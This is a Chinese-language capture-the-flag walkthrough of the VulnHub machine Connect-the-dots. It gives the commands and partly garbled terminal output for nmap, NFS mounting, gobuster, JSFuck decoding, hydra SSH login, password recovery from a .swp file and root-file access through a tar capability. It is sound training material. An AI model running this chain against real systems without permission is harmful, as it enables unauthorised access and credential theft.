# 靶机系列测试教程 Connect-the-dots

# 1 交流平台

随着教程的推出,看视频的人也越来越多,随之而来的问题也增多,本人平时非常忙,难以有时间回复大家的问题,特意建立了一个 QQ 群,里面有很多这方面的高手,有什么不懂的,请到群里提问,咨询问题的时候,一定要详细,不然没人会回复你,另外本人有时间会在群内直播测试靶机,还没加上群的赶快加上了。

交流 QQ 群

微信号



博客 www.moonsec.com

# 2 介绍

## 2.1 靶机介绍

描述	说明
Difficulty	Beginner-Intermediate
Flag	2 Flag first user And second root
Description	The machine is VirtualBox compatible but can be used in VMWare as well (not
	tested but it should work). The DHCP will assign an IP automatically. You have to

下载地址

https://www.vulnhub.com/entry/connect-the-dots-1,384/

难度 容易到中等

### 3 靶机测试

#### 3.1 信息收集

### 3.1.1 nmap 扫描探测端口信息

nmap -p- -A 192.168.0.180 -oA dots-ports

```
Host is up (0.0035s latency).
Not shown: 65526 closed ports
PORT
                STATE SERVICE VERSION
                open ftp
open http
                                        vsftpd 2.0.8 or later
Apache httpd 2.4.38 ((Debian))
21/tcp
80/tcp
  _http-server-header: Apache/2.4.38 (Debian)
_http-title: Landing Page
              open rpcbind 2-4 (RPC #100000)
 111/tcp
   rpcinfo:
                                      port/proto service
111/tcp rpcbind
111/udp rpcbind
       program version
       100000 2,3,4
100000 2,3,4
                                         111/tcp6
       100000
                    3,4
                                                         rpcbind
       100000
                    3,4
                                        111/udp6 rpcbind
                   3
       100003
                                       2049/udp
                                                         nfs
       100003
                                      2049/udp6 nfs
                                      2049/tcp
2049/tcp6
       100003
                   3,4
                                                         nfs
       100003
                   3,4
1,2,3
1,2,3
                                                        nfs
                                     34051/tcp6 mountd
       100005
       100005
                                     41803/udp
                                                         mountd
                   1,2,3 1,2,3
                                     46466/udp6 mountd
       100005
       100005
                                      55271/tcp
                                                         mountd
       100021
                   1,3,4
                                      43575/tcp
                                                         nlockmgr
                   1,3,4
       100021
                                      46177/tcp6 nlockmgr
       100021 1,3,4
                                      53864/udp
                                                         nlockmgr
       100021 1,3,4
                                      58690/udp6 nlockmgr
       100227
                                       2049/tcp nfs_acl
                   3
                                        2049/tcp6 nfs_acl
       100227

        100227
        3
        2049/ccp0
        Ins_act

        100227
        3
        2049/udp
        nfs_acl

        100227
        3
        2049/udp6
        nfs_acl

        2049/tcp
        open
        nfs_acl
        3
        (RPC #100227)

        7822/tcp
        open
        ssh
        OpenSSH 7.9p1
        Debian
        10+deb10u1
        (protocol 2.0)

   ssh-hostkey:
       2048 38:4f:e8:76:b4:b7:04:65:09:76:dd:23:4e:b5:69:ed (RSA)
       256 ac:d2:a6:0f:4b:41:77:df:06:f0:11:d5:92:39:9f:eb (ECDSA)
256 93:f7:78:6f:cc:e8:d4:8d:75:4b:c2:bc:13:4b:f0:dd (ED25519)
1-250 95:17778:01:CC:e0.04-00:75:40:C2:0
34841/tcp open mountd 1-3 (RPC #100005)
43575/tcp open mlockmgr 1-4 (RPC #100021)
54801/tcp open mountd 1-3 (RPC #100005)
55271/tcp open mountd 1-3 (RPC #100005)
MAC Address: 40:A5:EF:46:69:0A (Shenzhen Four Seas Global Link Network Technology)
```

21 ftp 80 web 服务 7822 ssh nfs 共享

3.2 nfs 检测

### 3.2.1 获取 nfs 服务器的目录列列表

showmount -e 192.168.0.180

```
root@kali:~/The-dots# showmount -e 192.168.0.180
Export list for 192.168.0.180:
/home/morris *
root@kali:~/The-dots# a
```

得到用户名 morris

### 3.2.2 挂载共享目录

mount -t nfs 192.168.0.180:/home/morris dots

```
rootRkall:-/The-dots/dots# ls -al
total 56
drwxr-xr-x 8 moonsec moonsec 4096 Oct 11 06:40 .
drwxr-xr-x 3 root root 4096 Jan 5 23:28 .
-rw--r--- 1 moonsec moonsec 1 Oct 11 07:09 .bash_history
-rw-r--r-- 1 moonsec moonsec 220 Oct 10 13:38 .bash_logout
-rw-r--r-- 1 moonsec moonsec 3526 Oct 10 13:38 .bashrc
drwx----- 9 moonsec moonsec 3526 Oct 10 13:45 .cache
drwx----- 10 moonsec moonsec 4096 Oct 10 13:45 .cache
drwx----- 3 moonsec moonsec 4096 Oct 10 13:44 .gnupg
-rw------ 1 moonsec moonsec 1884 Oct 11 06:40 .ICEauthority
drwx----- 3 moonsec moonsec 4096 Oct 10 13:44 .local
-rw-r--r- 1 moonsec moonsec 807 Oct 10 13:38 .profile
drwx----- 2 moonsec moonsec 4096 Oct 10 13:44 .local
-rw-r--r- 1 moonsec moonsec 4096 Oct 10 13:44 .local
-rw-r---- 1 moonsec moonsec 4096 Oct 10 13:44 .local
-rw-r---- 1 moonsec moonsec 52 Oct 10 13:55 .ssh
drwxr-xr-x 2 moonsec moonsec 52 Oct 10 13:58 .Xauthority
rootakali:-/The-dots/dots#
```

挂载成功 但是不能访问.ssh 目录

3.3 访问 80 端口



# 3.4 目录扫描

gobuster dir -u http://192.168.0.180 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

root@kali:~/The-dots# gobuster dir -u http://192.168.0.180 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100								
Gobuster v3.0.1 monosci Hoppeds (307, 0ct 10, 12, 13, ppo file)								
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)								
+] Url:								
+ Threads: 100								
+1 Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt								
+1 Status codes: 200.204.301.302.307.401.403								
+ User Agent: the gobuster(3.0.1) and the second se								
[+] Timenut - 1 man 10 state = 5 2120								
2020/01/05 22:30:34 Starting gobuster								
/impace (Status 201) monocle state the state of the								
/images (Status: Suf)								
/minual (Status: S91)								
/)avascript (status: 301)								
/backups (Status: 200)								
/mysite (Status: 301) Monore and the left of the state of								
/server-status (Status: 403)								
2020/01/05 23:40:38 Finished								

# 3.5 发现 jsfuck 编码

http://192.168.0.180/mysite/

Index of /mysite ×	+							
$\leftrightarrow \rightarrow $ C $\hat{\omega}$	③ 192.168.0.180/mysite/							
🥆 Kali Linux 🥆 Kali Training	🥆 Kali Tools   🖨 Kali Docs 🥆 Kali Forums 🥆 NetHunt							
Index of /mysite								
Name	Last modified Size Description							
Parent Directory	-							
all.css	2019-10-10 22:17 54K							
bootstrap.bundle.min.js	2019-10-11 04:50 77K							
bootstrap.min.cs	2019-10-11 04:52 66K							
bootstrap.min.css	2019-10-11 04:49 152K							
jquery.slim.min.js	2019-10-11 04:49 69K							
register.css	2019-10-10 22:17 2.4K							
register.html	2019-10-10 22:22 1.9K							

目录可访问 发现 bootstrap.min.cs 文件 有 jsfuck 编码



## 3.6 处理字符串

访问这个注册页面的时候发现会 js 会调用 bootstrap.min.cs 内的内容 http://192.168.0.180/mysite/register.html

.92.168.0.18	30/mysite/regist ×	+										
<) → e	ŵ	0 💋 192.1	68.0.180/mysit	te/register.html			~	🖂 ☆		$\mathbf{T}$	lii\ 🗉	) 🖲
🔨 Kali Linux	🔾 🔨 Kali Training	Kali Tools	🖨 Kali Docs	🔨 Kali Forums	NetHunter	Offensive Security	🔹 Exploit-DB	🔶 GHDB	🖨 MSFU			
					S	ign In						
				1								
				Email	address							
				Dacen	word							
				Fassy	Volu							
				O Dama								
				_ Reme	mber password	1						
						el Caracia						
					S	IGNIN						
R 🗘 Inspe	ctor 🖸 Console 🕻	🗅 Debugger 🛛	Style Editor	Performance	I Memory ↑↓	Network 🗄 Storage 🕇	Accessibility					
🗊 🛛 🗑 Filtero	utput											
rrors Warning	s Logs Info Debug	CSS XHR Re	quests									
GET http:	//192. <mark>168.0</mark> .180/m	ysite/register	.html								[НТТ	P/1.1
GET http:	//192.168.0.180/m	ysite/register	.CSS								[HTT	P/1.1
GET http:	://192.168.0.180/m	ysite/bootstra	p.bundle.min.j	s							[HT]	P/1.1
GET http:	://192.168.0.180/m	ysite/bootstra	p.min.css								[HTT	P/1.1
GET http:	//192.168.0.180/m	ysite/jquery.s	tim.min.js								(HII	P/1.1
A The scrip	ot from "http://19	2 168 A 18A/mu	site/bootstran	min ce" was lo	aded even thou	the its MIME type ("")	is not a valid	lavaScript	MTME type 1	earn Me	Ini	P/1.1
A The chara	acter encoding of	the HTML docum	ent was not de	clared. The do	cument will ren	der with garbled text	in some browse	configurat	ions if the	locument	conta	ins
character	s from outside th	e US-ASCIT ran	ge. The charac	ter encoding of	f the page must	he declared in the do	cument or in th	ne transfer	nrotocol.			-

console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)

<pre>     Filteroutput      For Nummary Logs Info Debug LCSS XHB Requests</pre>	R	🗘 Inspector 🗵 Console 🗅 Debugger - { } Style Editor 🕥 Performance - 🕕 Memory 🔨 Network 😑 Storage 🔺 Accessibility	
<pre>Errors Warmings Logs Info Debug Cos XHR Requests ) GET http://192.168.0.180/mysite/bootstrap.min.css</pre>	Ŵ	₹ Filter output	
<pre>b GET http://192.168.0.189/mysite/bootstrap.min.css (H) b GET http://192.168.0.180/mysite/bootstrap.min.js (H) b GET http://192.168.0.180/mysite/bootstrap.min.cs (H) b GET http://192.168.0.180/mysite/bootstrap.min.cs (H) b GET http://192.168.0.180/mysite/bootstrap.min.cs (H) b The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the document con characters from outside the US-ASCII range. The character encoding of the page must be declared in the document or in the transfer protocol. A Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen. [iearn More] A Source map error: request failed with status 404 Resource URL: http://192.168.0.180/mysite/bootstrap.min.css Source Map URL: bootstrap.min.cs.map [iearn More] b GET http://192.168.0.180/favicon.ico (HTTP/1.1 Loading console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10) k [l((! +!) +! +!+!+!+!+!+!+!+!+!+!+!+!+!+!+!+</pre>	Err	Warnings Logs Info Debug ICSS XHR Requests	
<pre>b GET http://192.168.0.180/mysite/jouery.slm.min.js b GET http://192.168.0.180/mysite/bootstrap.min.cs ch The script from "http://192.168.0.180/mysite/bootstrap.min.cs" was loaded even though its MIME type ("") is not a valid JavaScript MIME type. [Learn More] character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the document con characters from outside the US-ASCII range. The character encoding of the page must be declared in the document or in the transfer protocol. A Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen. [Learn More] A Source map error: request failed with status 404 Resource URL: http://192.168.0.180/mysite/bootstrap.min.css Source Map URL: bootstrap.min.css.map [Learn More] b GET http://192.168.0.180/favicon.ico     [HTTP/1.1 Loading b console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)     / [(((1+(1))+(1)+(1+(1+(1+(1))+(1+(1+(1))+(1+(1+(1+(1))+(1+(1+(1+(1))+(1+(1))+(1+(1+(1))+(1+(1))+(1+(1+(1))+(1+(1))+(1+(1+(1))+(1+(1))+(1+(1+(1))+(1+(1))+(1+(1+(1))+(1+(</pre>	Þ	ET http://192.168.0.180/mysite/bootstrap.min.css	[H
<pre>b GET http://192.168.0.180/mysite/bootstrap.min.cs</pre>	Þ	ET http://192.168.0.180/mysite/jquery.slim.min.js	[H
<pre>A The script from "http://192.168.0.180/mysite/bootstrap.min.cs" was loaded even though its MIME type ("") is not a valid JavaScript MIME type. [Learn Morel The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the document con characters from outside the US-ASCII range. The character encoding of the page must be declared in the document on in the transfer protocol. A Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen. [Learn Morel] A Source map error: request failed with status 404 Resource URL: http://192.168.0.180/favicon.ico Loading &gt; GET http://192.168.0.180/favicon.ico [HTTP/1.1 Loading &gt; console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10) &gt; ([((1 + ) +(  +  +(  + ) +(  +  +  +  +  +  +  +  +  +  +  +  + </pre>	Þ	ET http://192.168.0.180/mysite/bootstrap.min.cs	[H
<pre>     The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the document con characters from outside the US-ASCII range. The character encoding of the page must be declared in the document or in the transfer protocol.     A Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen. [Learn More]     A Source map error: request failed with status 404     Resource URL: http://192.168.0.180/mysife/bootstrap.min.css     Source Map URL: bootstrap.min.css.map [Learn More]</pre>	A	he script from "http://192.168.0.180/mysite/bootstrap.min.cs" was loaded even though its MIME type ("") is not a valid JavaScript MIME type. [Learn More	1
▲ Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen. [Learn More] ▲ Source map error: request failed with status 404 Resource MBL: http://192.168.0.180/mysite/bootstrap.min.css Source Map URL: bootstrap.min.css.map [Learn More] > GET http://192.168.0.180/favicon.ico (MTTP/1.1 Console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10) > console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10) > (1((1+1))(+1)+(1+(1+1)+(1+1)+(1+(1+1)+(1+1	0	he character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the document c haracters from outside the US-ASCII range. The character encoding of the page must be declared in the document or in the transfer protocol.	on
▲ Source map error: request failed with status 404         Resource URL: http://192.168.0.180/mysite/bootstrap.min.css         Source Map URL: bootstrap.min.css.map [Learn More]         > GET http://192.168.0.180/favicon.ico         (MTTP/1.1)         Loading         > console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)         > console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)         > ([(1)+1)+(1)+(1)+(1)+(1)+(1)+(1)+(1)+(1)+(	A	assword fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen. [Learn More]	
<pre>b GET http://192.168.0.188/favicon.ico</pre>	A	ource map error: request failed with status 404 esource URL: http://192.168.0.180/mysite/bootstrap.min.css ource Map URL: bootstrap.min.css.map [Learn More]	
Loading (5) bo	Þ	ET http://192.168.0.180/favicon.ico [HTTP/1	. 1
<pre>&gt;&gt; console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)  &gt;&gt; ([(1]+(1)+(1]+(1]+(1])+(1]+(1]+(1])+(1]+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1])+(1]+(1]+(1])+(1]+(1]+(1])+(1]+(1]+(1])+(1]+(1]+(1])+(1]+(1]+(1])+(1]+(1]+(1])+(1]+(1]+(1])+(1]+(1]+(1])+(1]+(1]+(1]+(1])+(1]+(1]+(1]+(1])+(1]+(1]+(1]+(1]+(1])+(1]+(1]+(1]+(1]+(1]+(1]+(1]+(1]+(1]+(1]</pre>		oading (5)	bo
<pre>&gt; [](![]+[])+[]+([]]+[][]))+[]+[]+[]+[]]+[]+[]+[]]+[]+[]+[]+[]]+[]</pre>	>>	onsole.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)	
c undefined Loading		$ \begin{bmatrix} (1[]+[]) + (1[]+[]]+(1[]) + (1+1)$	de
Loading 🕥 bo	~	ndefined	
		oading 🕥	bo

## 3.7 jsfuck 编码

#### http://codertab.com/JsUnFuck

In order to decode JSFuck successfully, [Eval Source] option must be checked on encoded script. Using Mozilla Firefox or Google Chrome for best result!
More Info:         SErveck Website           SErveck Website         Serveck Website           JSFuck Wikipedia Information         (codertab.com @示:           (t0)::::::::::::::::::::::::::::::::::::
JSUnFuck

You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19

TryToGuessThisNorris@2k19 这个可能是是一个密码

# 3.8 hydra 穷举 ssh

用户名 morris norris hydra -L user -p TryToGuessThisNorris@2k19 ssh://192.168.0.180 -s 7822



login: norris password: TryToGuessThisNorris@2k19

## 3.9 登录 ssh

ssh norris@192.168.0.180 -p 7822

<pre>mkdli:~/The-dots# ssh norris@192.168.0.180 -p 7822 authenticity of host '[192.168.0.180]:7822 ([192.168.0.180]:7822)' can't be established. A key fingerprint is SHA256:3K6+YYSU5vuE7DXK+JBZFRPsa+G7K0Z366/v9ipWSE. you sure you want to continue connecting (yes/no/[fingerprint])? yes ing: Permanently added '[192.168.0.180]:7822' (ECDSA) to the list of known hosts. is@192.168.0.180's password: x sirrom 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64</pre>
programs included with the Debian GNU/Linux system are free software; exact distribution terms for each program are described in the vidual files in /usr/share/doc/*/copyright.
an GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent itted by applicable law.
sal (Status: 301)
asor # (S#stus # 01) ##### # ## ###### # # # #####
Kups ## .# # : 28#) # # # # # # # # # # # #
ice # # i# i # # # # # # # # # # # # # # #
2012-0#31#3#(#C16a=#32-6483)# # ####### # # # # # # # # # ###
#81/0# 23-#0380#bolshed# # # # # # # # # # # #

# 3.10 得到 flag user.txt

Debian permitt	GNU/	'Li y	ap	ar dc	co lic	omes cabl	e	ith ABSOLU law.	JTELY	NO WA	RRAN	TY, to th	e exte	nt				
###																		
#	#		1	1		#		#####	#	#	##	######	#	#	#	1		
#	##		1	\$		#		#	#	#	#	#	#	##	#	#	#	
/i # iii	#	#	1			#		#	#	#	#	#	#	#	# #	#		
Vot#eup	#	#	1			#		#	#	###	####	#	#	#	# #	#	####	
/mi#ste	#		#	1		#		#	#	#	#	#	#	#	##	#	#	
###	#		1	1		#		4030#	#	#	#	#	#	#	#	1		
norrisa 2c2836a norrisa	sirr 138c sirr	01 :0e	n: e71	\$ F7! \$	ca 529	it u Daa0	ise 176	r.txt 4a6414d0										

## 3.11 查找敏感信息

norris@sirrom:~/ftp/files\$ cat /etc/passwd | grep -v nologin root:x:0:0:root:/root:/bin/bash sync:x:4:65534:sync:/bin:/bin/sync tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false speech-dispatcher:x:112:29:Speech Dispatcher,,:/var/run/speech-dispatcher:/bin/false hplip:x:117:7:HPLIP system user,,:/var/run/hplip:/bin/false Debian-gdm:x:118:125:Gnome Display Manager:/var/lib/gdm3:/bin/false morris:x:100:1000:morris,,,:/home/morris:/bin/bash norris:x:1001:1001:norris,,:/home/norris:/bin/bash

在 ftp 目录下发现四个文件

norris@sirrom:~/ftp/files\$ ls -al total 972 drwxr-xr-x 2 norris norris 4096 Oct 11 05:19 . dr-xr-xr-x 3 nobody nogroup 4096 Oct 11 03:39 . -r------ 1 norris norris 6301 Oct 11 02:47 backups.bak -r------ 1 norris norris 39610 Oct 11 02:16 game.jpg.bak -r------ 1 norris norris 29 Oct 11 02:26 hits.txt.bak -r------ 1 norris norris 932659 Oct 11 01:43 m.gif.bak

### 3.12 发现摩斯密码

norris 登录 ftp

```
:~/The-dots# ftp 192.168.0.180
Connected to 192.168.0.180.
220 Welcome to Heaven!
Name (192.168.0.180:root): norris
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 1001
                        1001
                                     4096 Oct 11 05:19 files
226 Directory send OK.
ftp> cd files
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
            1 1001
                        1001
                                     6301 Oct 11 02:47 backups.bak
-r-----
            1 1001
                        1001
                                    39610 Oct 11 02:16 game.jpg.bak
-r-----
            1 1001
                                     29 Oct 11 02:26 hits.txt.bak
-r-----
                        1001
             1 1001
-r-----
                        1001
                                   932659 Oct 11 01:43 m.gif.bak
226 Directory send OK.
ftp> get game.jpg.bak
local: game.jpg.bak remote: game.jpg.bak
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for game.jpg.bak (39610 bytes).
226 Transfer complete.
39610 bytes received in 0.05 secs (837.5369 kB/s)
ftp> get hits.txt.bak
local: hits.txt.bak remote: hits.txt.bak
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for hits.txt.bak (29 bytes).
226 Transfer complete.
29 bytes received in 0.01 secs (4.7462 kB/s)
ftp> get m.gif.bak
local: m.gif.bak remote: m.gif.bak
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for m.gif.bak (932659 bytes).
226 Transfer complete.
```

exiftool game.jpg.bak

rootakali:~/The-dots# exiftoo	l game.iog.bak
ExifTool Version Number	: 11.76
File Name	: game.jpg.bak
Directory	th te. constitutional Shutdown
File Size	ad: 39 kB5: pipe error (3): Connection reset by neer: file /build/firefox-esr-toyv6X/firefox-esr-68.2.Mesr/inc/chronium/src/c
File Modification Date/Time	: 2020:01:05 00:13:23-09:00
File Access Date/Time	: 2020:01:06 00:13:23-09:00
File Inode Change Date/Time	: 2020:01:06 00:13:23-09:00
File Permissions	ad]: rw-rrne error (3): Connection reset by neer: file /build/firefox-esr-tovy6X/firefox-esr-58.2.0esr/ipc/chromium/src/c
File Type	: JPEG
File Type Extension	: jpg
MIME Type	: image/jpeg
JFIF Version	: 1.01
Resolution Unit	: inches
X Resolution	: 192
Y Resolution	r d:r192 http://193.168.0.Box -w /wsr/share/wordlists/dirbuster/directory-list-3.3-mediam.txt -t 100
Exif Byte Order	: Big-endian (Motorola, MM)
Orientation	: Horizontal (normal)
Comment even (STheColonial) 5	-Chelining-Melie (1111), Melieninge, Melining and Annuel (1111), Annuel (1111), Annuel (1111), Annuel (1111), A
	**
[aUrlibtip+≠229	Heldhillin al an an anna anna an te ann te anna an an an an an an an tea a tea an te anna an an an
(44) Thesadariiii	
[++ Hedlines/ust/shar	
lilles.Age estime suberteer	
leluzieretin e . estruito	
+020/01/01 ++:20121.011+++++	
+++	
Image Width	: 712
Image Height	: 350
Encoding Process	: Progressive DCT, Huffman coding
Bits Per Sample	: 8
Color Components	: 3
Y Cb Cr Sub Sampling	: YCbCr4:4:4 (1 1)
Image Size	: 712×350
Megapixels	: 0.249
root@kali:~/The-dots#	

### 3.13 解密摩斯密码

#### https://gchq.github.io/CyberChef/

		onensive security - Exploit-DB	
Last build: 1	7 days ago - v9 supports multiple ir	nputs and a Node API allowing you to pro	ogram Options 🔅 About / Support 🖓
Recipe	8 🖿 🖬	Input	length: 1573 +  ∋ i m
From Morse Code	⊘ 11	······································	
Letter delimiter Space	Word delimiter Line feed		
		Output HEY NORRIS, YOU'VE MADE THIS FAM YOU SURELY MISSED ME, DIDN'T YOU UNABLE TO FIND MY CHARGER SO QU SHUTS DOWN AUTOMATICALLY. I AM 'SECRETFILE' WHICH IS PUBLICLY	Start: 347 end: 347 length: 0 Ines: 1 R. FAR FAR FROM HEAVEN WANNA SEE HELL NOW? HAHA U? OH DAMN MY BATTERY IS ABOUT TO DIE AND I AM ICKLY LEAVING A HINT IN HERE BEFORE THIS SYSTEM SAVING THE GATEWAY TO MY DUNGEON IN A ACCESSIBLE.

HEY NORRIS, YOU'VE MADE THIS FAR. FAR FAR FROM HEAVEN WANNA SEE HELL NOW? HAHA YOU SURELY MISSED ME, DIDN'T YOU? OH DAMN MY BATTERY IS ABOUT TO DIE AND I AM UNABLE TO FIND MY CHARGER SO QUICKLY LEAVING A HINT IN HERE BEFORE THIS SYSTEM SHUTS DOWN AUTOMATICALLY. I AM SAVING THE GATEWAY TO MY DUNGEON IN A 'SECRETFILE' WHICH IS PUBLICLY ACCESSIBLE.

					ingite		1000 / PP	1887+ 1586 AP	-PP\$66 789	
检测到英语 ▼		中文 🔻	翻译	人工翻译					C.	<u>کې</u>
HEY NORRIS, YOU'VE SEE HELL NOW? HA	E MADE THIS HA YOU SURE	FAR. FAR FAR FRO ELY MISSED ME, DI	M HEAVEN WANN DN'T YOU? OH DA	IA × 嘿,请 MN 吗?可	里斯,你已 ,该死的,	经走了这么远。 我的电池快没电了	远在天边想见身 7,我找不到那	息吗?哈哈,( 我的充电器了	你一定很想我 ,所以在系统	》,不是 自动关
IY BATTERY IS ABO SO QUICKLY LEAVIN DOWN AUTOMATICA SECRETFILE' WHI	UT TO DIE AN G A HINT IN HE LLLY. I AM SAV CH IS PUBLIC	D I AM UNABLE TO ERE BEFORE THIS ING THE GATEWAY LY ACCESSIBLE.	FIND MY CHARGE SYSTEM SHUTS TO MY DUNGEON	ER 闭之育 的"SE	i,在这里留 CRETFILE"=	下一个提示。我I 户。	E在将通往地名	<b>羊的网关保存</b>	在一个可公开	访问

# 3.14 获取用户 morris 密码

读取 www 目录下的 secretfile

-rw-rr 1 www-data www-d -rw 1 www-data www-d norrisasirrom:/war/www/html	ata 99 Oct 11 10:32 secretfile ata 12288 Oct 11 10:32 .secretfile.swp \$ cat secretfile
I see you're here for the p	assword. Holy Moly! Battery is dying !! Mentioning below for reference.
norris@sirrom:/var/www/html	\$

swp 是编辑器突然断电或者 ctrl+z 产生的文件

wget http://192.168.0.180/.secretfile.swp



strings .secretfile.swp



morris blehguessme090

## 3.15 登录 ssh

ssh morris@192.168.0.180 -p 7822

```
Ssn: connect to nost 192.108.0.100 port 782. connection refused
root@kali:-/The-dots# ssh morris@192.168.0.180 -p 7822
morris@192.168.0.180's password:
Linux sirrom 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
  The programs included with the Debian GNU/Linux system are free software;
 the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
 ###
                                                                                                                                                                                            # #
## #
# # #
# ##
# ##
          #
                                                                              #####
                                                                                                           #
                                                                                                                                                     #####
                                                            #
                                                                                                                               ##
                                                                                                                                                                                 #
                                                                                                                                                                                                                         ####
                           #
                                          #
                           ## #
# # #
# # #
                                                                                                                                                                                                                      # #
          #
                                                            #
                                                                                                                                                                                                                                      #
                                                                                   # #
                                                                                                                                                         # #
                                                                                                                                                                                 # # # # #
                                                           ##
          #
                                                                                                           #
                                                                                                                                  #
                                                                                                                          #
          #
                                                                                                           #
                                                                                                                          #######
                                                                                                                                                          #
                                                                                                                                                                                                                               ####
                                                                                                                                                                                                            ##
                           ##
                                       ##
                                                            # #
                                                                                                            #
                                                                                                                                        #
                                                                                                                                                          #
                                                                                                                                                                                                                       #
                                                                                                                                                                                                                                      #
                                                                                                                          ##
                                          #
                                                                                   #
                                                                                                           #
                                                                                                                                         #
                                                                                                                                                                                                 #
                                                                                                                                                                                                                          .....
       ###
                                                                                                                                                          #
 morris@sirrom:~$ ls -al
total 56
total 55

drwxr-xr-x 8 morris morris 4096 Oct 11 20:10 .

drwxr-xr-x 4 root root 4096 Oct 11 03:34 .

-rw------ 1 morris morris 1 Oct 11 20:39 .bash_history

-rw-r-r-- 1 morris morris 220 Oct 11 03:08 .bash_logout

-rw-r---- 9 morris morris 3526 Oct 11 03:08 .bash_logout

-rw-r---- 10 morris morris 4096 Oct 11 03:15 .cache

drwx------ 9 morris morris 4096 Oct 11 03:14 .config

drwx------ 10 morris morris 4096 Oct 11 03:14 .config

drwx------ 1 morris morris 1884 Oct 11 20:10 .ICEauthority

drwx------ 1 morris morris 1884 Oct 11 03:14 .local

-rw-r-r-- 1 morris morris 4096 Oct 11 03:08 .profile

drwx----- 2 morris morris 4096 Oct 11 03:25 .ssh

drwxr-xr-x 2 morris morris 4096 Oct 11 03:28 .Xauthority

morris@sirrom:-$
```

### 3.16 拿到 root.txt

这个靶机的提权是比较难的。

/sbin/getcap -r / 2>/dev/null

```
norris@sirrom:/var/www/html$ /sbin/getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/tar = cap_dac_read_search+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/ping = cap_net_raw+ep
norris@sirrom:/var/www/html$
```

/usr/bin/tar = cap\_dac\_read\_search+ep

可以 绕过文件的读权限检查和目录的读和执行权限检查。

tar 打包/root

tar -zcvf root.tar.gz /root

```
norris@sirrom:/tmp$ tar -zcvf root.tar.gz /root
tar: Removing leading `/' from member names
/root/
/root/root.txt
/root/.bashrc
/root/.gnupg/
/root/.gnupg/private-keys-v1.d/
/root/.bash_history
/root/.cache/
/root/.local/
/root/.local/share/
/root/.local/share/nano/
/root/.profile
norris@sirrom:/tmp$
```

解压文件

tar -zxvf root.tar.gz

norrisasir	rom	:/tmp\$	ls -al					
total 52								
drwxrwxrwt	12	root	root	4096	Jan	6	15:29	
drwxr-xr-x	19	root	root	4096	0ct	11	02:36	
drwxrwxrwt	2	root	root	4096	Jan	6	13:42	.font-unax
drwxrwxrwt	2	root	root	4096	Jan	6	13:42	.ICE-unix
drwx	2	root	root	4096	Jan	6	13:42	pulse-PKdhtXMmr18n25(Floppy),29(audio),30(d
drwx	5	norris	norris	4096	0ct	11	20:35	root
-rw-rr	1	norris	norris	1038	Jan	6	15:27	root.tar.gz
drwx	3	root	root	4096	Jan	6	13:42	systemd-private-a48fd5abbf484ff99f13a708c8c
drwx	3	root	root	4096	Jan	6	13:42	systemd-private-a48fd5abbf484ff99f13a708c8c
drwx	3	root	root	4096	Jan	6	13:42	systemd-private-a48fd5abbf484ff99f13a708c8c
drwxrwxrwt	2	root	root	4096	Jan	6	13:42	.Test-unix
drwxrwxrwt	2	root	root	4096	Jan	6	13:42	X11-unix
